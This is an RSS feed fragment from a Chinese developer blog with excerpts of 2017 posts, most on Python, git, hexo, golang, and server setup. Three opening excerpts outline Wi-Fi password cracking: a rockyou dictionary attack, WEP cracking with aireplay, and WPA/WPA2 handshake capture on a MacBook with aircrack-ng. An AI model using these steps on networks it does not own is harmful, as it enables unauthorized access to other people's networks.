&lt;p&gt;这种攻击需要字典文件，一个好的字典至关重要。我以Kali Linux自带的rockyou字典为例，位于/user/share/wordlists/rockyou.txt.gz。&lt;/p&gt;</description></item><item><title>Kali Linux破解wifi密码(WEP)</title><link>https://luodaoyi.com/posts/kali-linux%E7%A0%B4%E8%A7%A3wifi%E5%AF%86%E7%A0%81wep-kalilinux%E7%A0%B4%E8%A7%A3wifi%E5%AF%86%E7%A0%81wep/</link><pubDate>Sat, 08 Apr 2017 07:14:09 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/kali-linux%E7%A0%B4%E8%A7%A3wifi%E5%AF%86%E7%A0%81wep-kalilinux%E7%A0%B4%E8%A7%A3wifi%E5%AF%86%E7%A0%81wep/</guid><description>&lt;p&gt;WEP是无线路由器最初广泛使用的一种加密方式，这种加密方式非常容易被破解。&lt;/p&gt;
&lt;p&gt;目前很少有人使用wep加密方式，但是还是会有。&lt;/p&gt;
&lt;p&gt;建议：使用WPA/WPA2做为加密方式。&lt;/p&gt;
&lt;p&gt;抓包和“破解wpa/wpa2”方法一样，参考其中的前4步&lt;/p&gt;
&lt;h2 id="5-加快beacons和data数据的收集速度"&gt;5) 加快Beacons和Data数据的收集速度&lt;/h2&gt;
&lt;p&gt;和破解WPA/WPA2不同的是，它只要抓取到足够的Beacons和Data数据就可以破解，理想情况下是100000+。你可以等，也可以使用aireplay加快这个进程。&lt;/p&gt;</description></item><item><title>使用macbook破解WPA/WPA2 wifi密码</title><link>https://luodaoyi.com/posts/%E4%BD%BF%E7%94%A8macbook%E7%A0%B4%E8%A7%A3wpawpa2-wifi%E5%AF%86%E7%A0%81-%E4%BD%BF%E7%94%A8macbook%E7%A0%B4%E8%A7%A3wpawpa2wifi%E5%AF%86%E7%A0%81/</link><pubDate>Sat, 08 Apr 2017 07:02:47 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E4%BD%BF%E7%94%A8macbook%E7%A0%B4%E8%A7%A3wpawpa2-wifi%E5%AF%86%E7%A0%81-%E4%BD%BF%E7%94%A8macbook%E7%A0%B4%E8%A7%A3wpawpa2wifi%E5%AF%86%E7%A0%81/</guid><description>&lt;p&gt;文本仅供学习交流。&lt;/p&gt;
&lt;p&gt;我使用的系统是macbook pro 15：&lt;br&gt;
&lt;img src="https://luodaoyi.com/uploads/oss/2017-04-25-14916351304599.jpg" alt="" title=""&gt;&lt;/p&gt;
&lt;h2 id="安装aircrack-ng"&gt;安装aircrack-ng&lt;/h2&gt;
&lt;p&gt;使用homebrew安装，命令：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;brew install aircrack-ng
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="抓包抓取带密码的握手包"&gt;抓包－抓取带密码的握手包&lt;/h2&gt;
&lt;p&gt;macbook自带了一个wifi工具：airport。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/sbin/airport
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;首先，断开wifi：&lt;/p&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/oss/2017-04-25-14916352564635.png" alt="" title=""&gt;&lt;/p&gt;
&lt;p&gt;查看周围的wifi：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/oss/2017-04-25-14916353046796.png" alt="" title=""&gt;&lt;/p&gt;
&lt;p&gt;查看本机的无线网卡设备：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ ifconfig
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/oss/2017-04-25-14916353616511.png" alt="" title=""&gt;&lt;/p&gt;
&lt;p&gt;抓包：&lt;/p&gt;</description></item><item><title>Python读取指定目录下指定后缀文件并保存为docx</title><link>https://luodaoyi.com/posts/python%E8%AF%BB%E5%8F%96%E6%8C%87%E5%AE%9A%E7%9B%AE%E5%BD%95%E4%B8%8B%E6%8C%87%E5%AE%9A%E5%90%8E%E7%BC%80%E6%96%87%E4%BB%B6%E5%B9%B6%E4%BF%9D%E5%AD%98%E4%B8%BAdocx-python%E8%AF%BB%E5%8F%96%E6%8C%87%E5%AE%9A%E7%9B%AE%E5%BD%95%E4%B8%8B%E6%8C%87%E5%AE%9A%E5%90%8E%E7%BC%80%E6%96%87%E4%BB%B6%E5%B9%B6%E4%BF%9D%E5%AD%98%E4%B8%BAdocx/</link><pubDate>Fri, 07 Apr 2017 08:08:05 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/python%E8%AF%BB%E5%8F%96%E6%8C%87%E5%AE%9A%E7%9B%AE%E5%BD%95%E4%B8%8B%E6%8C%87%E5%AE%9A%E5%90%8E%E7%BC%80%E6%96%87%E4%BB%B6%E5%B9%B6%E4%BF%9D%E5%AD%98%E4%B8%BAdocx-python%E8%AF%BB%E5%8F%96%E6%8C%87%E5%AE%9A%E7%9B%AE%E5%BD%95%E4%B8%8B%E6%8C%87%E5%AE%9A%E5%90%8E%E7%BC%80%E6%96%87%E4%BB%B6%E5%B9%B6%E4%BF%9D%E5%AD%98%E4%B8%BAdocx/</guid><description>&lt;p&gt;最近有个奇葩要求 要项目中的N行代码 申请专利啥的&lt;br&gt;
然后作为程序员当然不能复制粘贴 用代码解决。。&lt;/p&gt;
&lt;h2 id="使用python-docx读写docx文件"&gt;使用python-docx读写docx文件&lt;/h2&gt;
&lt;p&gt;环境使用python3.6.0&lt;br&gt;
首先pip安装python-docx&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pip install python-docx
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后下面是脚本 修改目录，这里默认取脚本运行目录下的src文件夹&lt;br&gt;
取&lt;code&gt;.cs&lt;/code&gt;后缀的所有文件 读取并保存为docx&lt;/p&gt;</description></item><item><title>小程序开发遇到的一些坑</title><link>https://luodaoyi.com/posts/%E5%B0%8F%E7%A8%8B%E5%BA%8F%E5%BC%80%E5%8F%91%E9%81%87%E5%88%B0%E7%9A%84%E4%B8%80%E4%BA%9B%E5%9D%91-%E5%B0%8F%E7%A8%8B%E5%BA%8F%E5%BC%80%E5%8F%91%E9%81%87%E5%88%B0%E7%9A%84%E4%B8%80%E4%BA%9B%E5%9D%91/</link><pubDate>Mon, 13 Mar 2017 06:00:48 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E5%B0%8F%E7%A8%8B%E5%BA%8F%E5%BC%80%E5%8F%91%E9%81%87%E5%88%B0%E7%9A%84%E4%B8%80%E4%BA%9B%E5%9D%91-%E5%B0%8F%E7%A8%8B%E5%BA%8F%E5%BC%80%E5%8F%91%E9%81%87%E5%88%B0%E7%9A%84%E4%B8%80%E4%BA%9B%E5%9D%91/</guid><description>&lt;h2 id="小程序-行家看看"&gt;小程序： 行家看看&lt;/h2&gt;
&lt;p&gt;年前，公司开发了微信小程序，我负责后端开发，其中遇到一些坑，分享一下&lt;/p&gt;
&lt;p&gt;&lt;img src="https://ohuk1fboy.qnssl.com/2017-04-23-gh_7953b6350fad_258.jpg" alt="gh_7953b6350fad_258" title="gh_7953b6350fad_258"&gt;&lt;/p&gt;
&lt;h3 id="小程序语音录制和播放"&gt;小程序语音录制和播放&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;微信录音不能计时，需要自己计时&lt;/li&gt;
&lt;li&gt;录音文件是微信独有格式，只能微信本身播放，否则需要工具转换为Mp3等通用格式才可以&lt;/li&gt;
&lt;li&gt;录音播放不能直接用标签src引入，需要将语音文件下载到本地后才可以正常播放。&lt;/li&gt;
&lt;li&gt;录音播放没有播放完成的事件，需要自己计时&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="小程序视频录制和播放"&gt;小程序视频录制和播放&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;视频录制很费空间&lt;/li&gt;
&lt;li&gt;视频需要压缩再上传，否则会很卡，或者上传失败&lt;/li&gt;
&lt;li&gt;又拍云的视频处理文档是狗屎,直接问客服，否则处理回调不会成功&lt;br&gt;
目前就这些，想到了再写&lt;/li&gt;
&lt;/ol&gt;</description></item><item><title>Fork别人的代码 原作者更新后如何同步</title><link>https://luodaoyi.com/posts/fork%E5%88%AB%E4%BA%BA%E7%9A%84%E4%BB%A3%E7%A0%81-%E5%8E%9F%E4%BD%9C%E8%80%85%E6%9B%B4%E6%96%B0%E5%90%8E%E5%A6%82%E4%BD%95%E5%90%8C%E6%AD%A5-fork%E5%88%AB%E4%BA%BA%E7%9A%84%E4%BB%A3%E7%A0%81%E5%8E%9F%E4%BD%9C%E8%80%85%E6%9B%B4%E6%96%B0%E5%90%8E%E5%A6%82%E4%BD%95%E5%90%8C%E6%AD%A5/</link><pubDate>Sun, 12 Mar 2017 06:34:32 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/fork%E5%88%AB%E4%BA%BA%E7%9A%84%E4%BB%A3%E7%A0%81-%E5%8E%9F%E4%BD%9C%E8%80%85%E6%9B%B4%E6%96%B0%E5%90%8E%E5%A6%82%E4%BD%95%E5%90%8C%E6%AD%A5-fork%E5%88%AB%E4%BA%BA%E7%9A%84%E4%BB%A3%E7%A0%81%E5%8E%9F%E4%BD%9C%E8%80%85%E6%9B%B4%E6%96%B0%E5%90%8E%E5%A6%82%E4%BD%95%E5%90%8C%E6%AD%A5/</guid><description>&lt;p&gt;我的博客主题是直接fork原作者的，所以当原作者更新之后，我要合并冲突，跟随更新&lt;br&gt;
下面说一下简单的方法，算是自己做个笔记&lt;/p&gt;
&lt;h1 id="给主题的fork加一个remote"&gt;给主题的fork加一个remote&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;给 fork 配置一个 remote&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;使用 git remote -v 查看远程状态&lt;/p&gt;
&lt;p&gt;➜ next git:(master) git remote -v
origin &lt;a href="mailto:git@github.com"&gt;git@github.com&lt;/a&gt;:luodaoyi/hexo-theme-next.git (fetch)
origin &lt;a href="mailto:git@github.com"&gt;git@github.com&lt;/a&gt;:luodaoyi/hexo-theme-next.git (push)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;把原作者的远程仓库添加到remote&lt;/p&gt;
&lt;p&gt;git remote add upstream &lt;a href="https://github.com/iissnan/hexo-theme-next.git"&gt;https://github.com/iissnan/hexo-theme-next.git&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;再次查看是否添加成功&lt;/p&gt;
&lt;p&gt;➜ next git:(master) git remote -v
origin &lt;a href="mailto:git@github.com"&gt;git@github.com&lt;/a&gt;:luodaoyi/hexo-theme-next.git (fetch)
origin &lt;a href="mailto:git@github.com"&gt;git@github.com&lt;/a&gt;:luodaoyi/hexo-theme-next.git (push)
upstream &lt;a href="https://github.com/iissnan/hexo-theme-next.git"&gt;https://github.com/iissnan/hexo-theme-next.git&lt;/a&gt; (fetch)
upstream &lt;a href="https://github.com/iissnan/hexo-theme-next.git"&gt;https://github.com/iissnan/hexo-theme-next.git&lt;/a&gt; (push)&lt;/p&gt;</description></item><item><title>利用coding.和daocloud打造全自动发布的hexo博客</title><link>https://luodaoyi.com/posts/%E5%88%A9%E7%94%A8coding%E5%92%8Cdaocloud%E6%89%93%E9%80%A0%E5%85%A8%E8%87%AA%E5%8A%A8%E5%8F%91%E5%B8%83%E7%9A%84hexo%E5%8D%9A%E5%AE%A2-%E5%88%A9%E7%94%A8coding%E5%92%8Cdaocloud%E6%89%93%E9%80%A0%E5%85%A8%E8%87%AA%E5%8A%A8%E5%8F%91%E5%B8%83%E7%9A%84hexo%E5%8D%9A%E5%AE%A2/</link><pubDate>Sun, 12 Mar 2017 06:34:18 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E5%88%A9%E7%94%A8coding%E5%92%8Cdaocloud%E6%89%93%E9%80%A0%E5%85%A8%E8%87%AA%E5%8A%A8%E5%8F%91%E5%B8%83%E7%9A%84hexo%E5%8D%9A%E5%AE%A2-%E5%88%A9%E7%94%A8coding%E5%92%8Cdaocloud%E6%89%93%E9%80%A0%E5%85%A8%E8%87%AA%E5%8A%A8%E5%8F%91%E5%B8%83%E7%9A%84hexo%E5%8D%9A%E5%AE%A2/</guid><description>&lt;h1 id="使用github托管hexo静态博客的优缺点"&gt;使用Github托管hexo静态博客的优缺点&lt;/h1&gt;
&lt;p&gt;Hexo 是一个快速、简洁且高效的博客框架。Hexo 使用 &lt;a href="https://daringfireball.net/projects/markdown/"&gt;Markdown&lt;/a&gt;（或其他渲染引擎）解析文章，在几秒内，即可利用靓丽的主题生成静态网页。&lt;/p&gt;
&lt;p&gt;也就是说你用WP做博客已经OUT了，现在流行纯静态博客&lt;/p&gt;
&lt;p&gt;静态博客的优点：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;纯静态html 浏览速度极快&lt;/li&gt;
&lt;li&gt;托管到Github pages 不需要主机费用或者是空间费用&lt;/li&gt;
&lt;li&gt;如果域名没有备案，那么默认就是用的Github的cdn 国内访问速度很快，如果备案了可以使用&lt;a href="https://www.cloudxns.net"&gt;cloudxns&lt;/a&gt;等dns服务让国外国内分开解析，国内使用各种免费cdn，国外使用Github默认CDN&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;使用github pages 的缺点:&lt;/p&gt;</description></item><item><title>大白话讲解如何给github上项目贡献代码</title><link>https://luodaoyi.com/posts/%E5%A4%A7%E7%99%BD%E8%AF%9D%E8%AE%B2%E8%A7%A3%E5%A6%82%E4%BD%95%E7%BB%99github%E4%B8%8A%E9%A1%B9%E7%9B%AE%E8%B4%A1%E7%8C%AE%E4%BB%A3%E7%A0%81-%E5%A4%A7%E7%99%BD%E8%AF%9D%E8%AE%B2%E8%A7%A3%E5%A6%82%E4%BD%95%E7%BB%99github%E4%B8%8A%E9%A1%B9%E7%9B%AE%E8%B4%A1%E7%8C%AE%E4%BB%A3%E7%A0%81/</link><pubDate>Sun, 12 Mar 2017 06:33:48 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E5%A4%A7%E7%99%BD%E8%AF%9D%E8%AE%B2%E8%A7%A3%E5%A6%82%E4%BD%95%E7%BB%99github%E4%B8%8A%E9%A1%B9%E7%9B%AE%E8%B4%A1%E7%8C%AE%E4%BB%A3%E7%A0%81-%E5%A4%A7%E7%99%BD%E8%AF%9D%E8%AE%B2%E8%A7%A3%E5%A6%82%E4%BD%95%E7%BB%99github%E4%B8%8A%E9%A1%B9%E7%9B%AE%E8%B4%A1%E7%8C%AE%E4%BB%A3%E7%A0%81/</guid><description>&lt;p&gt;本文献给对git很迷茫的新手，注意是新手，但至少会点基本操作，有点基本概念的新手，我不会从怎么用github和git是什么开始讲的。如果作为新手你看书又看不进去，原理又太复杂，又没有直接了当告诉我们怎么给项目贡献代码，和项目同步代码的大体流程。于是我快速写了这么个东西。一来整理下自己混乱的思路，二来想号召大家一起用git开发点东西，可是好几个同鞋只会寂寞的给自己push。&lt;/p&gt;</description></item><item><title>hexo多主题切换</title><link>https://luodaoyi.com/posts/hexo%E5%A4%9A%E4%B8%BB%E9%A2%98%E5%88%87%E6%8D%A2-hexo%E5%A4%9A%E4%B8%BB%E9%A2%98%E5%88%87%E6%8D%A2/</link><pubDate>Sun, 12 Mar 2017 06:33:36 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/hexo%E5%A4%9A%E4%B8%BB%E9%A2%98%E5%88%87%E6%8D%A2-hexo%E5%A4%9A%E4%B8%BB%E9%A2%98%E5%88%87%E6%8D%A2/</guid><description>&lt;p&gt;今天看到一个朋友在github上面的&lt;a href="https://github.com/iissnan/hexo-theme-next/issues/456#issuecomment-152736486"&gt;issue&lt;/a&gt;&lt;br&gt;
大概问题就是怎么在不同的电脑上面使用&lt;br&gt;
git有个这么个东西&lt;a href="https://git-scm.com/book/zh/v1/Git-%E5%B7%A5%E5%85%B7-%E5%AD%90%E6%A8%A1%E5%9D%97"&gt;Submoudle&lt;/a&gt;中文叫做子模块&lt;/p&gt;
&lt;p&gt;具体使用教程看这里&lt;a href="https://git-scm.com/book/zh/v1/Git-%E5%B7%A5%E5%85%B7-%E5%AD%90%E6%A8%A1%E5%9D%97"&gt;Git-工具-子模块&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这里只说怎么搞hexo多主题切换和换电脑啥的&lt;/p&gt;
&lt;h1 id="开始"&gt;开始&lt;/h1&gt;
&lt;p&gt;首先分两种情况&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;主题的出了配置文件 或者其他文件没有DIY过，都是直接clone原来的主题作者的&lt;/li&gt;
&lt;li&gt;主题的CSS JS 文件自己改过&lt;/li&gt;
&lt;/ol&gt;
&lt;h1 id="没有修改主题源码"&gt;没有修改主题源码&lt;/h1&gt;
&lt;p&gt;如果没有修改主题源码那就按照下面的步骤来作&lt;/p&gt;</description></item><item><title>markdown 语法汇总</title><link>https://luodaoyi.com/posts/markdown-%E8%AF%AD%E6%B3%95%E6%B1%87%E6%80%BB-markdown%E8%AF%AD%E6%B3%95%E6%B1%87%E6%80%BB/</link><pubDate>Sun, 12 Mar 2017 06:33:16 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/markdown-%E8%AF%AD%E6%B3%95%E6%B1%87%E6%80%BB-markdown%E8%AF%AD%E6%B3%95%E6%B1%87%E6%80%BB/</guid><description>&lt;h1 id="markdown是_什么_"&gt;Markdown是_什么_？&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;Markdown&lt;/strong&gt;是一种轻量级&lt;strong&gt;标记语言&lt;/strong&gt;，它以纯文本形式(&lt;em&gt;易读、易写、易更改&lt;/em&gt;)编写文档，并最终以HTML格式发布。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Markdown&lt;/strong&gt;也可以理解为将以MARKDOWN语言编写的语言转换成HTML内容的工具，最初是一个perl脚本_Markdown.pl_。&lt;/p&gt;</description></item><item><title>静态网站使用不蒜子显示浏览量</title><link>https://luodaoyi.com/posts/%E9%9D%99%E6%80%81%E7%BD%91%E7%AB%99%E4%BD%BF%E7%94%A8%E4%B8%8D%E8%92%9C%E5%AD%90%E6%98%BE%E7%A4%BA%E6%B5%8F%E8%A7%88%E9%87%8F-%E9%9D%99%E6%80%81%E7%BD%91%E7%AB%99%E4%BD%BF%E7%94%A8%E4%B8%8D%E8%92%9C%E5%AD%90%E6%98%BE%E7%A4%BA%E6%B5%8F%E8%A7%88%E9%87%8F/</link><pubDate>Sun, 12 Mar 2017 06:33:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E9%9D%99%E6%80%81%E7%BD%91%E7%AB%99%E4%BD%BF%E7%94%A8%E4%B8%8D%E8%92%9C%E5%AD%90%E6%98%BE%E7%A4%BA%E6%B5%8F%E8%A7%88%E9%87%8F-%E9%9D%99%E6%80%81%E7%BD%91%E7%AB%99%E4%BD%BF%E7%94%A8%E4%B8%8D%E8%92%9C%E5%AD%90%E6%98%BE%E7%A4%BA%E6%B5%8F%E8%A7%88%E9%87%8F/</guid><description>&lt;p&gt;本文转载自&lt;a href="http://ibruce.info/2015/04/04/busuanzi/"&gt;不蒜子不如&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;静态网站建站现在有很多快速的技术和平台，但静态是优点也有缺点，由于是静态的，一些动态的内容如评论、计数等等模块就需要借助外来平台，评论有&lt;a href="http://duoshuo.com/"&gt;“多说”&lt;/a&gt;，计数有&lt;a href="http://service.ibruce.info/"&gt;“不蒜”&lt;/a&gt;！&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href="http://service.ibruce.info/"&gt;“不蒜子”&lt;/a&gt;与百度统计谷歌分析等有区别：&lt;a href="http://service.ibruce.info/"&gt;“不蒜子”&lt;/a&gt;可直接将访问次数显示在您在网页上（也可不显示）；对于已经上线一段时间的网站，“不蒜子”允许您初始化首次数据。。&lt;br&gt;
普通用户据只需两步走：一行脚本+一行标签，搞定一切&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1 id="安装脚本必选"&gt;安装脚本（必选）&lt;/h1&gt;
&lt;p&gt;要使用不蒜子必须在页面中引入busuanzi.js，目前最新版如下。&lt;/p&gt;</description></item><item><title>golang模板语法</title><link>https://luodaoyi.com/posts/golang%E6%A8%A1%E6%9D%BF%E8%AF%AD%E6%B3%95-golang%E6%A8%A1%E6%9D%BF%E8%AF%AD%E6%B3%95/</link><pubDate>Sun, 12 Mar 2017 06:32:48 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/golang%E6%A8%A1%E6%9D%BF%E8%AF%AD%E6%B3%95-golang%E6%A8%A1%E6%9D%BF%E8%AF%AD%E6%B3%95/</guid><description>&lt;h1 id="模板语法"&gt;模板语法&lt;/h1&gt;
&lt;h2 id="with关键字"&gt;with关键字&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;type u struct {
 Name string
 Age int
 Sex string
 }
 user:=&amp;amp;u{Name:&amp;quot;asd&amp;quot;,Age:20,Sex:&amp;quot;mal&amp;quot;}
 data[&amp;quot;user&amp;quot;]=user
 c.HTML(http.StatusOK, &amp;quot;index.html&amp;quot;, data)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输出&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; {{with .user}}
 {{.Name}};
 {{.Age}};
 {{.Sex}}
 {{end}}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="循环打印数组"&gt;循环打印数组&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;nums := []int{1,2,3,4,5,6,7,8,9,0}
data[&amp;quot;nums&amp;quot;]=nums
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输出&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; {{range .nums}}
 {{.}}
 {{end}}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="高级使用-模板变量"&gt;高级使用-模板变量&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;data[&amp;quot;abc&amp;quot;] = &amp;quot;helloword-abc&amp;quot;
 c.HTML(http.StatusOK, &amp;quot;index.html&amp;quot;, data)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;模板变量示例&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; {{$tempabc := .abc}}
 {{$tempabc}}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="处理简单数据-模板函数"&gt;处理简单数据-模板函数&lt;/h2&gt;</description></item><item><title>使用LNMP环境安装typecho博客的全程记录</title><link>https://luodaoyi.com/posts/%E4%BD%BF%E7%94%A8lnmp%E7%8E%AF%E5%A2%83%E5%AE%89%E8%A3%85typecho%E5%8D%9A%E5%AE%A2%E7%9A%84%E5%85%A8%E7%A8%8B%E8%AE%B0%E5%BD%95-%E4%BD%BF%E7%94%A8lnmp%E7%8E%AF%E5%A2%83%E5%AE%89%E8%A3%85typecho%E5%8D%9A%E5%AE%A2%E7%9A%84%E5%85%A8%E7%A8%8B%E8%AE%B0%E5%BD%95/</link><pubDate>Sun, 12 Mar 2017 06:32:15 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E4%BD%BF%E7%94%A8lnmp%E7%8E%AF%E5%A2%83%E5%AE%89%E8%A3%85typecho%E5%8D%9A%E5%AE%A2%E7%9A%84%E5%85%A8%E7%A8%8B%E8%AE%B0%E5%BD%95-%E4%BD%BF%E7%94%A8lnmp%E7%8E%AF%E5%A2%83%E5%AE%89%E8%A3%85typecho%E5%8D%9A%E5%AE%A2%E7%9A%84%E5%85%A8%E7%A8%8B%E8%AE%B0%E5%BD%95/</guid><description>&lt;p&gt;虽然我是搞asp.net的 但是十分欣赏php，php有很多开源的博客程序 比如大名鼎鼎的&lt;a href="https://wordpress.org/"&gt;WordPress&lt;/a&gt;.还有各种独立博客大牛使用的&lt;a href="https://www.zblogcn.com/"&gt;z-blog&lt;/a&gt;,以及短小精悍的&lt;a href="http://www.emlog.net/"&gt;emblog&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;wordpress臃肿不堪，pass！其他的不喜欢，所以就选择国人开发的typecho开源博客系统，优点就是简单好用，支持&lt;a href="https://www.luodaoyi.com/zatan/5.html"&gt;markdown&lt;/a&gt;。&lt;br&gt;
安装typecho需要php环境，这里我使用的是&lt;a href="http://lnmp.org/"&gt;lnmp&lt;/a&gt;，服务器采用&lt;a href="https://www.luodaoyi.com/link-vultr.html/"&gt;Vultr&lt;/a&gt;乞丐版，系统是ubuntu14.14，下面开始安装,每一步都有详细介绍&lt;/p&gt;</description></item><item><title>Python打包上传</title><link>https://luodaoyi.com/posts/python%E6%89%93%E5%8C%85%E4%B8%8A%E4%BC%A0-python%E6%89%93%E5%8C%85%E4%B8%8A%E4%BC%A0/</link><pubDate>Sun, 12 Mar 2017 06:31:39 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/python%E6%89%93%E5%8C%85%E4%B8%8A%E4%BC%A0-python%E6%89%93%E5%8C%85%E4%B8%8A%E4%BC%A0/</guid><description>&lt;p&gt;你可以用pip导出你的dependency:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ pip freeze &amp;gt; requirements.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后在通过以下命令安装dependency:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pip install -r requirements.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用 setuptools 来安装&lt;br&gt;
使用 buildout 进行构建&lt;/p&gt;
&lt;p&gt;下面具体说下这两点&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;setuptools 的官方文档在这 setuptools – The PEAK Developers&amp;amp;#8217; Center， 当然这份文档有点长，主要是用来参考。许多 python 项目里面的 setup.py 就是用的 setuptools，你在 setup.py 里面只需要写上依赖的包就 ok，当调用 setup.py install 的时候，会自动帮你把所有依赖包都装好&lt;/li&gt;
&lt;li&gt;构建工具使用 buildout，知乎也在用这个。我曾经使用 virtualenv + pip 的组合，不过这个也还是比较麻烦的。用 buildout 的话，只需要写一个 buildout.cfg 就可以了，这个是一个 ini 格式的配置文件，一般情况下普通项目也就不到十行配置，真的很少！&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;你开发完成后，将你的源码打包发给别人，别人只需要下面两步就可以把你的代码依赖搞定（仅限 python 相关的，当然首先，别人得有 python）&lt;/p&gt;</description></item><item><title>Python虚拟环境设置</title><link>https://luodaoyi.com/posts/python%E8%99%9A%E6%8B%9F%E7%8E%AF%E5%A2%83%E8%AE%BE%E7%BD%AE-python%E8%99%9A%E6%8B%9F%E7%8E%AF%E5%A2%83%E8%AE%BE%E7%BD%AE/</link><pubDate>Sun, 12 Mar 2017 06:31:29 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/python%E8%99%9A%E6%8B%9F%E7%8E%AF%E5%A2%83%E8%AE%BE%E7%BD%AE-python%E8%99%9A%E6%8B%9F%E7%8E%AF%E5%A2%83%E8%AE%BE%E7%BD%AE/</guid><description>&lt;h1 id="python2环境"&gt;Python2环境&lt;/h1&gt;
&lt;p&gt;首先，我们用pip安装virtualenv：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pip3 install virtualenv
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后，假定我们要开发一个新的项目，需要一套独立的Python运行环境，可以这么做：&lt;/p&gt;
&lt;p&gt;第一步，创建目录：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Mac:~ michael$ mkdir myproject
Mac:~ michael$ cd myproject/
Mac:myproject michael$
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;第二步，创建一个独立的Python运行环境，命名为venv：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Mac:myproject michael$ virtualenv --no-site-packages venv
Using base prefix &amp;quot;/usr/local/.../Python.framework/Versions/3.4&amp;quot;
New python executable in venv/bin/python3.4
Also creating executable in venv/bin/python
Installing setuptools, pip, wheel...done.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;命令virtualenv就可以创建一个独立的Python运行环境，我们还加上了参数–no-site-packages，这样，已经安装到系统Python环境中的所有第三方包都不会复制过来，这样，我们就得到了一个不带任何第三方包的“干净”的Python运行环境。&lt;/p&gt;</description></item><item><title>centos6安装redis</title><link>https://luodaoyi.com/posts/centos6%E5%AE%89%E8%A3%85redis-centos6%E5%AE%89%E8%A3%85redis/</link><pubDate>Sun, 12 Mar 2017 06:31:19 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/centos6%E5%AE%89%E8%A3%85redis-centos6%E5%AE%89%E8%A3%85redis/</guid><description>&lt;ol&gt;
&lt;li&gt;检查安装依赖程序&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;yum install gcc-c++
yum install -y tcl
yum install wget
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;获取安装文件&lt;/li&gt;
&lt;/ol&gt;
